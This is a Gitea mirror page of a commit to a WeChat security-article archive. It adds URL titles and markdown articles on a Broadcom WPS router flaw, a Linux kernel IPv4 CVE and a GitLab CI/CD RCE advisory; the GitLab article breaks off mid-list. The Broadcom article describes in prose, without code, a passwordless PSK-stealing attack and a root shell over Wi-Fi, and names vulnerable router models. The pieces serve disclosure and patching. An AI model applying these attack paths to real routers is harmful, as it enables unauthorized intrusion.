admin/wxvl
1
0 Fork 0
mirror of https://github.com/gelusus/wxvl.git synced 2026-10-24 08:54:27 +00:00
Code Issues Packages Projects Releases Wiki Activity

正在获取URL...

Browse Source 
chainreactors: 0 个URL
BruceFeIix: 0 个URL
Doonsec: 35 个URL
总共去重后: 35 个URL
电信黑客攻击中被利用的Fortinet漏洞与隐蔽FortiGate植入程序相关联、漏洞预警 | Windows Shell安全功能绕过漏洞、微软向研究员发放4000美元奖金，奖励其发现VS Code高危安全绕过漏洞、Broadcom WPS 未修复漏洞细节公开:攻击者无需密码,可在路由器以 root 身份运行代码、漏洞预警 | MariaDB表名编码绕过漏洞、智能网联汽车漏洞管理实践探索、速修 | Mercury 未认证 RCE 直接拿 root，CVE-2026-111057、Debian DSA-6528-1（内核）上百个漏洞、CVE靓号? CVE-2026-99999 Linux 内核 IPv4 内存漏洞、VS Code曝远程代码执行漏洞(CVE-2026-81376)，攻击者或可利用嵌套工作区设置绕过安全限制、【B站公开课】神农SRC 漏洞挖掘实战课：从 0 到 1 成为赏金猎人、参数绑定漏洞、CNVD漏洞周报2026年第41期、Drupal 网站可能被 “免登录接管”：这类 RCE 漏洞为什么要马上排查、CVSS 10.0！GitLab远程代码执行漏洞，“特定条件”到底是什么？、公开漏洞狩猎提示词包:14 阶段 recon 到自去重,deepseek MVP,MIT 可下载、Plex2Shell攻击链揭秘：从零权限到代码执行、某盘图书管理系统审计(0dayRCE绕WAF)、【热点安全风险】10月20日｜Windows Shell 注入漏洞遭在野利用，攻击者可绕过互联网文件标记 （CVE-2026-96951）、美国机构警告 AI 代理可能利用安全漏洞并建立隐藏后门、一条PUBLISH打穿Camel：Redis消息反序列化RCE（CVE-2026-78165）、企业内网资产与漏洞的终极克星、Laravel TokenGuard 严重漏洞（CVSS 9.2）可让攻击者以任意用户身份登录、连密码都不用！博通WiFi曝0day隔空秒拿ROOT、Pwn2Own 汽车赛事：漏洞、利用与经验总结、【漏洞预警】linux内核漏洞(POC已公开)已有 Android∕ARM64 的利用实现CVE-2026-98260、
This commit is contained in:
test committed 2026-10-20 03:40:32 +00:00
1 parent da51eefe40
commit 4ce7cfcc24
27 files changed
+3164 -4
Download Patch File Download Diff File Expand all files Collapse all files

No files matched your search

data.json
+27 -1
View File
@@ -27845,5 +27845,31 @@
"https://mp.weixin.qq.com/s/THzZBUrz6_v7EghdXFiYfg": "比特币早期客户端被成功复现: 从编译器到WinRAR，逐字节还原中本聪的发布流程",
"https://mp.weixin.qq.com/s/652cKBtxkbPOA6CH6JrGog": "同一个漏洞，两种 payload： Zen Cart 零权限 RCE 的两次实战",
"https://mp.weixin.qq.com/s/Hg6fdqTYioILT7ooKP8-BA": "换模型不如换架构：52 组实测之后，AI Agent 挖漏洞真实排名",
"https://mp.weixin.qq.com/s/gROVYJlbaUS0XI30QbXPrg": "WordPress 的严重漏洞允许攻击者在无需身份验证的情况下执行远程代码"
"https://mp.weixin.qq.com/s/gROVYJlbaUS0XI30QbXPrg": "WordPress 的严重漏洞允许攻击者在无需身份验证的情况下执行远程代码",
"https://mp.weixin.qq.com/s/7fsYMdaTvhI9weOW2XrgsA": "电信黑客攻击中被利用的Fortinet漏洞与隐蔽FortiGate植入程序相关联",
"https://mp.weixin.qq.com/s/Kt26vu4cDKuRnlG9N-qkhg": "漏洞预警 | Windows Shell安全功能绕过漏洞",
"https://mp.weixin.qq.com/s/9aaNgHLqV_HrjwNh-lgnlg": "微软向研究员发放4000美元奖金，奖励其发现VS Code高危安全绕过漏洞",
"https://mp.weixin.qq.com/s/TXE25_fpTAU24Ais8o_KRg": "Broadcom WPS 未修复漏洞细节公开:攻击者无需密码,可在路由器以 root 身份运行代码",
"https://mp.weixin.qq.com/s/GkcnMibp3ADH5d3vGvZzbQ": "漏洞预警 | MariaDB表名编码绕过漏洞",
"https://mp.weixin.qq.com/s/Oj0UZDPODezCxL__UWvIzg": "智能网联汽车漏洞管理实践探索",
"https://mp.weixin.qq.com/s/gTInIh6e36FRCPyEhQBVIA": "速修 | Mercury 未认证 RCE 直接拿 root，CVE-2026-111057",
"https://mp.weixin.qq.com/s/2nUxboAKTyHyr5WJYKvlrA": "Debian DSA-6528-1（内核）上百个漏洞",
"https://mp.weixin.qq.com/s/sIwkxeePHDYFuXc1kwlAlQ": "CVE靓号? CVE-2026-99999 Linux 内核 IPv4 内存漏洞",
"https://mp.weixin.qq.com/s/fHl1aWi_RTWh32GPRPUeLw": "VS Code曝远程代码执行漏洞(CVE-2026-81376)，攻击者或可利用嵌套工作区设置绕过安全限制",
"https://mp.weixin.qq.com/s/3Dm1oks7B8NV9WawzgDcCA": "【B站公开课】神农SRC 漏洞挖掘实战课：从 0 到 1 成为赏金猎人",
"https://mp.weixin.qq.com/s/eup7aJknS0yWfqgrIkj-Qg": "参数绑定漏洞",
"https://mp.weixin.qq.com/s/g5tBEtcTcxzhfznq83MzOg": "CNVD漏洞周报2026年第41期",
"https://mp.weixin.qq.com/s/nOYyg5m11Sw140PTGnhEMA": "Drupal 网站可能被 “免登录接管”：这类 RCE 漏洞为什么要马上排查",
"https://mp.weixin.qq.com/s/cvhYFVmwnTKouwArBPxKAg": "CVSS 10.0！GitLab远程代码执行漏洞，“特定条件”到底是什么？",
"https://mp.weixin.qq.com/s/I00BvwIlaCc2YZe3Yj4mNw": "公开漏洞狩猎提示词包:14 阶段 recon 到自去重,deepseek MVP,MIT 可下载",
"https://mp.weixin.qq.com/s/UwMfOzQz5oskM3Nns3TEpg": "Plex2Shell攻击链揭秘：从零权限到代码执行",
"https://mp.weixin.qq.com/s/NbTLRUB3HJ4bCclw3b_zbA": "某盘图书管理系统审计(0dayRCE绕WAF)",
"https://mp.weixin.qq.com/s/Xzw_O7BYJccmvbsc-cOU1A": "【热点安全风险】10月20日｜Windows Shell 注入漏洞遭在野利用，攻击者可绕过互联网文件标记 （CVE-2026-96951）",
"https://mp.weixin.qq.com/s/TKYdORXn9KUVsyjYC4Scvg": "美国机构警告 AI 代理可能利用安全漏洞并建立隐藏后门",
"https://mp.weixin.qq.com/s/vHjWgz2Ectm09IAi7tU2fw": "一条PUBLISH打穿Camel：Redis消息反序列化RCE（CVE-2026-78165）",
"https://mp.weixin.qq.com/s/GTwDGgf1XiYKqoJkQuVOMQ": "企业内网资产与漏洞的终极克星",
"https://mp.weixin.qq.com/s/L1KhsRL69-n1_qqTQDpa2Q": "Laravel TokenGuard 严重漏洞（CVSS 9.2）可让攻击者以任意用户身份登录",
"https://mp.weixin.qq.com/s/d89_bsvskL65NshHTaV_Tg": "连密码都不用！博通WiFi曝0day隔空秒拿ROOT",
"https://mp.weixin.qq.com/s/zPIdFMstSJlkbKkwK42eQg": "Pwn2Own 汽车赛事：漏洞、利用与经验总结",
"https://mp.weixin.qq.com/s/BHpeTLmhaUX4kjuh8NICoQ": "【漏洞预警】linux内核漏洞(POC已公开)已有 Android∕ARM64 的利用实现CVE-2026-98260"
}
doc/2026-10/Broadcom WPS 未修复漏洞细节公开攻击者无需密码,可在路由器以 root 身份运行代码.md
+103
View File
@@ -0,0 +1,103 @@
# Broadcom WPS 未修复漏洞细节公开:攻击者无需密码,可在路由器以 root 身份运行代码
原创 Violet Walker
Violet Walker 黑白之道 2026-10-20 01:08
![](https://mmbiz.qpic.cn/sz_mmbiz_png/nGzNudUIJ6NGuJLHQZup2PlLF18fPHia0pKiaEibKcF15Mjven4r5g8LoO894KAt1hIgNY45jVX0C0SiaJQ7JxxuMg9jHzlWMLibyicpj2T2VDcYY/640?from=appmsg "")
> **导语**
:10 月 16 日公开 Broadcom WPS 分片重组漏洞——无线范围内发畸形分片帧无需密码,就能在路由器拿到 root,无 CVE、无补丁可用,旧 eCos 芯片被研究者称作「永久 0day」。
## 一、漏洞概况
Kaiser 在 GitHub 释出**指纹识别脚本**
和**YARA 规则**
的同时,在 The Hacker News 等渠道同步披露漏洞细节,核心要点如下:
- 漏洞出在 Broadcom 自家版本 WPS 的**分片重组代码**
,对畸形 WPS setup 消息处理不当,可导致路由器内存破坏;
- 在此基础上,他构造了两类攻击载荷:**读取设备内存**
(例如直接拿到 Wi-Fi 密码)和**在路由器上以 root 身份运行代码**
;
- 攻击条件非常轻:不需要 Wi-Fi 密码,不需要任何配对步骤,只要在无线覆盖范围内即可,稍远距离也可行;
- 受影响的 Broadcom WPS 代码被嵌在几十家厂商的路由器和 AP 产品里,Kaiser 估计全球**数百万台**
设备受影响;
- 漏洞代码可追溯到 2010 年,Broadcom 在 2018 年给过一个不完整修复,并私下建议客户切到 hostapd,但对老一代 eCos 芯片**从未提供有效补丁**
--这也是 Kaiser 将其称作 "forever day"(永远不会被打补丁)的原因。
CERT 协调中心(CERT/CC)受理后,因为 Broadcom 自己掌握自家产品的 CVE 分配权、又拒绝分配,案件在当天被关闭。截至 10 月 19 日仍查不到该漏洞的 CVE 编号。
## 二、攻击原理与已验证场景
Kaiser 围绕 WPS 的分片重组路径做了两种 PoC:
**读取 Wi-Fi 密码(Orange Belgium - Askey TCG3000)**
:攻击者伪造分片触发内存破坏,直接把存储在路由器里的 PSK(Wi-Fi 密码)从内存里读出来,再以无线方式回传--设备因此被"破门",后续可正常加入网络。
**空中开 shell(Proximus - Sagemcom BBOX3V+)**
:借助 Wi-Fi 数据帧反弹远程 shell,整个过程不需要任何外部服务器,纯靠无线电通信完成命令执行。
值得注意的是,这两类攻击**都不要求认证**
,且对距离不敏感。Kaiser 表示尚未观察到真实环境中的利用行为,公开的利用工具都来自他自己。
![基于 Broadcom WPS 的攻击场景演示(Linux 终端 + Wireshark 抓取 802.11 Beacon 与 WPS 行为)](https://mmbiz.qpic.cn/sz_mmbiz_png/nGzNudUIJ6Od0B4zXGkia1oefFlHT1fxgkvTPGcTlU1haibu93o0USJMMydqhGXMS7TuoqfFTiaJ0RvTnhbxkn2Oiamt3XUSJ6h36LIMa9al8hc/640?from=appmsg "基于 Broadcom WPS 的攻击场景演示(Linux 终端 + Wireshark 抓取 802.11 Beacon 与 WPS 行为)")
## 三、受影响芯片与典型 OEM 型号
Broadcom 受影响芯片分两族,治理思路也不同:
- **eCos 旧芯片(无可用补丁)**
:BCM3380
、BCM3383
、BCM33834
,Kaiser 评估这类机型只能整机更换;
- **Linux 系新芯片(可修补)**
:BCM3390
、BCM65xx
、BCM68xx
,前提是 OEM 切换到 hostapd 实现。
Kaiser 在比利时实测到 Proximus、Orange Belgium、VOO 三家 ISP 的网关均受漏洞影响(第四家 Telenet 因缺乏样机未测试),每家受影响的网关粗估在数十万台量级。
更长的型号清单里包含一长串读者可能熟悉的名字:Cisco SMB 系列的 RV110W/RV130W/RV215W/RV340W 与 WAP121/125/150/361/371/571/571E/581、ARRIS SURFboard AC1200、Arcadyan VRV9517(KPN 与 SPARK 在用)、Askey TCG3000 / RTF3505VW、华为 B310/B315/B593/WS880、NetComm NF4V/NF10W/NF10WV/NF8AC/NF17ACV/NF18ACV/NF18MESH、TP-Link Archer C3150/C5400/VR600/VR900/VR2800、ZTE F680 v4 / 368N 等。同时清单一并列出了**已验证未受影响**
的型号(Sagemcom F5598T、F380B 等)--这些机型虽基于 Broadcom,但运行的是打过补丁的 hostapd,不在攻击面内。
![受影响的 Broadcom 芯片及典型 OEM 设备示意](https://mmbiz.qpic.cn/sz_mmbiz_png/nGzNudUIJ6NIZy6nkibW6H36S21RAibCY5G31TtmPQhiciancAfEoMmk6UB05taazLChBYVJx82R8ceiaw0zkoa1RscEKuaxuZj04zgqGpicSxaV0/640?from=appmsg "受影响的 Broadcom 芯片及典型 OEM 设备示意")
## 四、检测与临时缓解
在没有 CVE、没有补丁的情况下,Kaiser 把重心放在了**如何确认设备是否受影响**
:
- **YARA 规则**broadcom_wps_monitor.yar
:在提取出的固件目录里扫描 ARM/MIPS ELF32 二进制,识别易受攻击的 WPS Monitor 代码路径。三条规则覆盖通用 WPS Monitor、HAL 配置事件变体以及"分片重组"路径,适合静态审计;
- **在线指纹脚本**broadcom_fingerprint.py
:把无线网卡切到 monitor 模式扫描信道,通过 Broadcom 私有 IE 加"发送零长度分片后是否回 NACK"两个信号判定目标 AP 是否在跑有缺陷的 wps_monitor
。两条同时命中,可较有信心给出"可能易受攻击"的结论。
README 也明确写了硬件坑点:Intel Dual Band Wireless-AC 7265(iwlwifi)虽然能切 monitor 模式,但**抓不到任何帧**
,脚本会一直空转;真正可用的是 MediaTek MT7921AU 这类 USB 网卡,以及 mt76、ath9k_htc、rtl8812au 等已知能抓帧的芯片。
临时缓解措施上,**最直接且无需等待厂商的做法是关掉 WPS**
--多数运营商网关默认开启,一旦关闭,这条攻击路径就完全切断。其余可执行的步骤包括:升级到使用 hostapd 的新固件(若 OEM 提供)、对不会收到补丁的旧机型直接整机更换,以及部署无线侧流量监控,留意异常的 WPS 分片帧。
Kaiser 特别提到,这种"隔着一条街就能动手"的攻击模式,与俄罗斯背景攻击组织曾使用过的"邻近 Wi-Fi 渗透"思路契合--攻击者并不需要触及目标的内网或互联网入口,只要走到物理信号覆盖范围内就能开始。
## 五、写在最后
这起事件是一份典型的"厂商消极、影响深远"的研究样本:Broadcom 早在 2018 年就已知晓,Kaiser 在 2026 年公开后,CERT/CC 因 Broadcom 拒绝分配 CVE 而当天关单。对个人用户而言,可立刻执行的动作只有"关 WPS"这一项;对运维团队而言,核心命题是"在无法等到补丁前,先把这一条攻击路径从暴露面里移出去"--尤其是仍在用运营商 eCos 老网关的家庭和分支机构,Kaiser 的清单与指纹脚本恰好是当前唯一可用的"分诊"工具。
工具和检测脚本的开源地址:GitHub qkaiser/broadcom-wps
(MIT 协议,114 Stars)。
**版权声明**
:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/nGzNudUIJ6ObfjkJ89ibKU6vH6wj4EHcBhPcvLhDGdkUTUiby1Z9jCVysuwAFic5iayjJxz5Wjsawu5XZJbvDfbuHYOZxsR45Xr8kpq2EN7wLbQ/640?from=appmsg "")
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650621549&idx=1&sn=21c4b072726d2387d562109ada6b9bbb&scene=21#wechat_redirect)
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650621944&idx=1&sn=3cc6dc9876a20466d4ec3634deb80220&scene=21#wechat_redirect)
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650622065&idx=1&sn=09f8ae84c06d4331e71c277b177ae701&scene=21#wechat_redirect)
> 👇 点击**阅读原文**
，访问我的网站
doc/2026-10/CNVD漏洞周报2026年第41期.md
+1 -3
View File
@@ -1,6 +1,5 @@
# CNVD漏洞周报2026年第41期
原创 CNVD
CNVD CNVD漏洞平台 2026-10-19 09:08
国家互联网应急中心CNCERT 2026-10-20 01:02
2
0
@@ -1147,4 +1146,3 @@ D
![](https://mmbiz.qpic.cn/mmbiz/98kRE9BEzFI2epKukvKxnLRJOLbvv5hCS2UOOfgnFECrF4XdPmId0gmLyjwB9p5QwajL31bibbV7WTVe0YLgtHA/640?wx_fmt=jpeg "")
doc/2026-10/CVE靓号 CVE-2026-99999 Linux 内核 IPv4 内存漏洞.md
+95
View File
@@ -0,0 +1,95 @@
# CVE靓号? CVE-2026-99999 Linux 内核 IPv4 内存漏洞
原创 ChinaRan404
ChinaRan404 知攻善防实验室 2026-10-20 01:06
 
![](https://mmbiz.qpic.cn/mmbiz_gif/a3etiafIAYXHXicRWdnfoKKWQtGZ4gP0Y2w494ConfcfXicj3G5ibOoedwticA3ZhNQGjetcKeuhyHTd1SbJEkZAKKKL3zFB9wVV2D1HMRIDZwZI/640?wx_fmt=gif&from=appmsg "")
前言
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/a3etiafIAYXGk2icgZWxRSNRS3cGsWlpkr9icwb0fTibiayfUOomke29AaLzSssqQIdxia9pXJNhicibJ2D2ib7ERloRlic0Iu1iaeftE9eY8P71CDHQSo/640?wx_fmt=gif&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/a3etiafIAYXE9Nryiagf9yowTbHKBQtKXq9I8bLqjkeeuylYkn3HicO9gnqFkVNfOND7iclNYPtI1QWVAkdsxpE5FiagBH6pyJmM43riaLx5WgSSw/640?wx_fmt=png&from=appmsg "")
CVE-2026-99999 是 Linux 内核 IPv4 网络协议栈中的一个高危内存安全漏洞，涉及数据包校验和元数据验证不充分。 官方漏洞记录于 2026 年 10 月 15 日发布，Linux 内核安全公告给出的 CVSS 3.1 评分为 9.3（Critical）。
问题涉及 Linux 内核中的 skb_checksum_help() 以及 IPv4 网络包处理流程。
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/a3etiafIAYXG8SZssrZPDJ9F7Y8kESaEMIPib37mbK4cHZZzLcicvHsiaSqgef43ZlKV1nrInPBfRlsjicEYKXiaJEAktIu0tzxic3icLVjicnatkklI/640?wx_fmt=gif&from=appmsg "")
漏洞原理
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/a3etiafIAYXGptThzs58BIvzmaG6d08Q4A0IjnqMKNDpWguOH2ibAjDel4cEnibWNgqFEA1Zd8oHfBqge0IjpC0axTupEJE7Jo0Z1YSSkzG5mQ/640?wx_fmt=gif&from=appmsg "")
Linux 内核使用 sk_buff（简称 skb）结构保存网络数据包及其元数据，其中 checksum_start 用于标识校验和计算的起始位置。
漏洞的核心逻辑是：
1. 内核接收到带有异常校验和元数据的数据包。
2. 数据包进入相关 IPv4 处理流程。
3. 内核在完成校验和处理前，没有充分验证 checksum_start 是否有效。
4. 校验和处理可能导致网络头部被错误修改，进而引发内存破坏及其他安全问题。
简单理解：内核相信了一个不应该被直接信任的偏移值，在处理网络包时可能写错内存位置。
 
![](https://mmbiz.qpic.cn/mmbiz_gif/a3etiafIAYXEEXolUJVYxCLBD7TLGlE0nJVtoribhX2ldBRWXrfljVeczC9za3F5OAwibjEx6WwibiaXsCUS2bibNvkyqL3drpXibLEGE4jynRQqys/640?wx_fmt=gif&from=appmsg "")
影响版本
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/a3etiafIAYXHk6SlD5HshALicKU58hjjGQogK6eCEpGtv3J2DoemM6VZiaS3KnAtnb295mwerCBicqTGe8MPLfibfZ1dbHESicLHWylzzfPJxGDeM/640?wx_fmt=gif&from=appmsg "")
<table><tbody><tr style="height:16.80pt;"><td data-colwidth="135" width="135" style="height: 16.8pt;"><section><span leaf="">内核稳定分支</span></section></td><td data-colwidth="128" width="48"><section><span leaf="">修复版本</span></section></td></tr><tr style="height:16.80pt;"><td data-colwidth="135" style="height:16.80pt;"><section><span leaf="">5.1</span></section></td><td data-colwidth="128"><section><span leaf="">5.10.272</span></section></td></tr><tr style="height:16.80pt;"><td data-colwidth="135" style="height:16.80pt;"><section><span leaf="">5.15</span></section></td><td data-colwidth="128"><section><span leaf="">5.15.223</span></section></td></tr><tr style="height:16.80pt;"><td data-colwidth="135" style="height:16.80pt;"><section><span leaf="">6.1</span></section></td><td data-colwidth="128"><section><span leaf="">6.1.190</span></section></td></tr><tr style="height:16.80pt;"><td data-colwidth="135" style="height:16.80pt;"><section><span leaf="">6.6</span></section></td><td data-colwidth="128"><section><span leaf="">6.6.159</span></section></td></tr><tr style="height:16.80pt;"><td data-colwidth="135" style="height:16.80pt;"><section><span leaf="">6.12</span></section></td><td data-colwidth="128"><section><span leaf="">6.12.113</span></section></td></tr><tr style="height:16.80pt;"><td data-colwidth="135" style="height:16.80pt;"><section><span leaf="">6.18</span></section></td><td data-colwidth="128"><section><span leaf="">6.18.57</span></section></td></tr><tr style="height:16.80pt;"><td data-colwidth="135" style="height:16.80pt;"><section><span leaf="">7.2</span></section></td><td data-colwidth="128"><section><span leaf="">7.2.11</span></section></td></tr><tr style="height:16.80pt;"><td data-colwidth="135" style="height:16.80pt;"><section><span leaf="">7.3 开发分支</span></section></td><td data-colwidth="128"><section><span leaf="">7.3-rc7</span></section></td></tr></tbody></table>
 排查：
```
# 1. 查看当前运行的内核
uname -r
# 2. 查看发行版信息
cat /etc/os-release
# 3. Ubuntu / Debian：查看当前安装的内核包
dpkg-query -W 'linux-image*' 2>/dev/null
# 4. RHEL / Rocky / AlmaLinux：查看已安装内核包
rpm -q kernel kernel-core 2>/dev/null
```
 
![](https://mmbiz.qpic.cn/mmbiz_gif/a3etiafIAYXFOBAcPPxZGaVH0J6ruRfG45AX0iaTG1fUJicdib81Jp4VdJKt8fLicprsC6ROlibUdOOJibEJ5K7dj0Ym1qmEaknicJ1RfLibsfUFR0s8/640?wx_fmt=gif&from=appmsg "")
参考链接
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/a3etiafIAYXF4qnRATMictNUQ2k1eQvL5jiciamS9kibEcmeZwfwicyS9MWGibToSffffd7iaW31XRMVwVAdfaZ86cbWBGF8qe5DgiaZHXJw0JgnRPkg/640?wx_fmt=gif&from=appmsg "")
https://nvd.nist.gov/vuln/detail/cve-2026-99999
 
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/a3etiafIAYXHQc8wKgLB9gvD9To59c2fEhloftfMo8LnaTQdJvIlAMIDjiciazFAjw1Nn2OhoWp774hKsvnzwCVTRZyv1ax3kfvT14G47LCM70/640?wx_fmt=gif&from=appmsg "")
往期精彩
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/a3etiafIAYXHbgHaS00sjCahrsPNOTwnNKS8DzibOiaEibUztlGxlhALVexYAdiaA9YAl5UanDibDHZ9t29Iwtib2QQgLOic1n52os5Bicvy11MP6SSc/640?wx_fmt=gif&from=appmsg "")
[[全链哨兵]全场景渗透测试 Agent 工具，正式开源！](https://mp.weixin.qq.com/s?__biz=MzkxMTUwOTY1MA==&mid=2247493907&idx=1&sn=9b5ac6a92ec5ac80e766fcbeabb17a0d&scene=21#wechat_redirect)
[[全链哨兵Agent]新增资产测绘、MCP、安卓链路增强、WebSearch 服务](https://mp.weixin.qq.com/s?__biz=MzkxMTUwOTY1MA==&mid=2247493925&idx=1&sn=6183c7cb21ea8e161d183d4b93515363&scene=21#wechat_redirect)
[[重大更新]全链哨兵 Agent 开放插件生态，兼容 vshell、Java 反序列化、内存马等](https://mp.weixin.qq.com/s?__biz=MzkxMTUwOTY1MA==&mid=2247493944&idx=1&sn=664a78e16e7aa41a8298a86c291cbba4&scene=21#wechat_redirect)
doc/2026-10/CVSS 10.0！GitLab远程代码执行漏洞，“特定条件”到底是什么？.md
+107
View File
@@ -0,0 +1,107 @@
# CVSS 10.0！GitLab远程代码执行漏洞，“特定条件”到底是什么？
TJXFire 2026-10-20 01:30
全文约 2000 字，预计阅读 6 分钟。
GitLab披露CVE-2026-97229，在特定条件下可导致服务器端代码执行，官方CVSS 3.1评分为10.0。企业应立即核对版本与访问权限，同时排查代码、流水线和凭证风险，不能把“关闭注册”当作修复完成。
看到“无需认证”和“特定条件”同时出现，运维人员最容易问：我们的GitLab只给内部员工用，究竟需不需要紧急处理？
答案要从版本、可达范围和项目权限三个方面核实，不能只看登录页面有没有暴露在公网。
一、先核对版本，不要把所有分支混在一起
GitLab于2026年10月12日发布关键补丁，涉及社区版CE和企业版EE。问题位于CI/CD正则表达式编译处理，可能在GitLab服务器执行任意代码。[1]
<table><thead><tr><th style="border:1px solid #d9d9d9;padding:8px 6px;background:#f0f7f8;font-weight:700;color:#006d7a;text-align:left;word-break:break-all;line-height:1.5"><section><span leaf="">项目</span></section></th><th style="border:1px solid #d9d9d9;padding:8px 6px;background:#f0f7f8;font-weight:700;color:#006d7a;text-align:left;word-break:break-all;line-height:1.5"><section><span leaf="">已确认信息</span></section></th></tr></thead><tbody><tr><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">漏洞编号</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">CVE-2026-97229</span></section></td></tr><tr><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">官方评级</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">CVSS 3.1：10.0，Critical</span></section></td></tr><tr><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">重点处置对象</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">受影响的自建GitLab CE/EE</span></section></td></tr><tr><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">GitLab.com、Dedicated</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">官方称发布公告前已完成修复</span></section></td></tr></tbody></table><table><thead><tr><th style="border:1px solid #d9d9d9;padding:8px 6px;background:#f0f7f8;font-weight:700;color:#006d7a;text-align:left;word-break:break-all;line-height:1.5"><section><span leaf="">受影响分支</span></section></th><th style="border:1px solid #d9d9d9;padding:8px 6px;background:#f0f7f8;font-weight:700;color:#006d7a;text-align:left;word-break:break-all;line-height:1.5"><section><span leaf="">受影响版本</span></section></th><th style="border:1px solid #d9d9d9;padding:8px 6px;background:#f0f7f8;font-weight:700;color:#006d7a;text-align:left;word-break:break-all;line-height:1.5"><section><span leaf="">本次修复版本</span></section></th></tr></thead><tbody><tr><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">19.2</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">19.2.0—19.2.7</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">19.2.8</span></section></td></tr><tr><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">19.3</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">19.3.0—19.3.4</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">19.3.5</span></section></td></tr><tr><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">19.4</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">19.4.0—19.4.1</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">19.4.2</span></section></td></tr></tbody></table>
以上是本漏洞的版本边界，不是GitLab所有漏洞的安全清单。版本范围之外的实例，也应单独检查维护状态和其他公告。修复版本表依据官方公告。[1]
**不要笼统写“升级到19.2.8以上”：19.3.0虽然数字更大，仍在本漏洞的受影响范围内。**
应按所在分支核对补丁，或按官方升级路径迁移到包含修复的受支持版本。[1][3]
二、“特定条件”究竟指什么
官方公告将其描述为特定条件下的未认证代码执行，没有在公告中展开完整触发前提。[1]
Rapid7的独立复现补充了重要信息：其验证路径要求攻击者能够向公开项目提交相关CI/CD配置；允许不受信任用户自助注册、创建项目的实例，更容易具备这一前提。其测试中的命令执行发生在GitLab应用侧，使用git用户权限。[2]
这两种表述需要分开理解：官方给出漏洞评级，研究者说明其实际验证的路径。不能把“无需认证”直接解释为任何陌生人对任何实例都能无条件执行代码，也不能因为存在前提，就把10.0分风险降格为普通配置问题。
对企业而言，应核查谁能访问实例、谁能注册账号、谁能创建公开项目，以及哪些内部和外协账号拥有项目写权限。**这些检查用于判断暴露情况，不能替代安装补丁。**
截至本次核验，Rapid7报告已提供公开复现信息，其页面称尚无已确认的在野利用。这个状态不等于证明没有攻击发生，也不能作为推迟修复的理由。[2]
三、需要保护的，可能不止代码仓库
以下是结合研发平台使用场景提出的风险分析，不代表本漏洞已经在所有受影响实例造成这些后果。
代码仓库与业务系统之间，通常还有构建、测试、镜像发布和部署环节。评估影响时，需要沿着本单位实际的数据访问和授权关系往下看。
**先看代码与配置。**
检查重要仓库、合并请求和流水线配置是否出现无法解释的修改。仅确认网页可以打开，不能证明内容保持完整。
**再看凭证。**
核查项目令牌、部署密钥、流水线变量和外部服务授权的使用范围。GitLab文档指出，CI/CD变量可以保存敏感值，变量掩码并不能保证其不被恶意作业取用，因此还需要审查流水线代码及权限。[4]
**最后看发布链路。**
如果发现可信的入侵迹象，应进一步检查受影响时间段内的构建记录、制品和部署活动。是否影响生产环境，取决于平台实际具备的权限和访问关系，不能直接推定“GitLab有漏洞，生产环境就已失陷”。
这也解释了为什么一次升级之后，仍可能需要事件调查：补丁解决漏洞入口，调查确认此前是否已经发生异常。
四、企业先做这五件事
**第一，找全实例与责任人。**
让研发、运维和安全团队共同核对实例清单，包括测试环境、外包协作环境和历史遗留环境。通过受控管理渠道确认版本、部署方式和负责人，不只依赖公网指纹识别。
**第二，安排紧急升级窗口。**
对命中版本的实例制定升级、备份和回退计划。跨版本升级应遵循官方要求的升级停靠点，并确认后台迁移完成，不把升级简化为替换一个镜像标签。[3]
备份时确认仓库、数据库、相关存储以及配置和密钥文件的恢复条件。GitLab官方备份文档提醒，配置和密钥等内容需要单独考虑，不能认为生成一个应用备份文件就足以恢复全部环境。[5]
**第三，升级前降低暴露。**
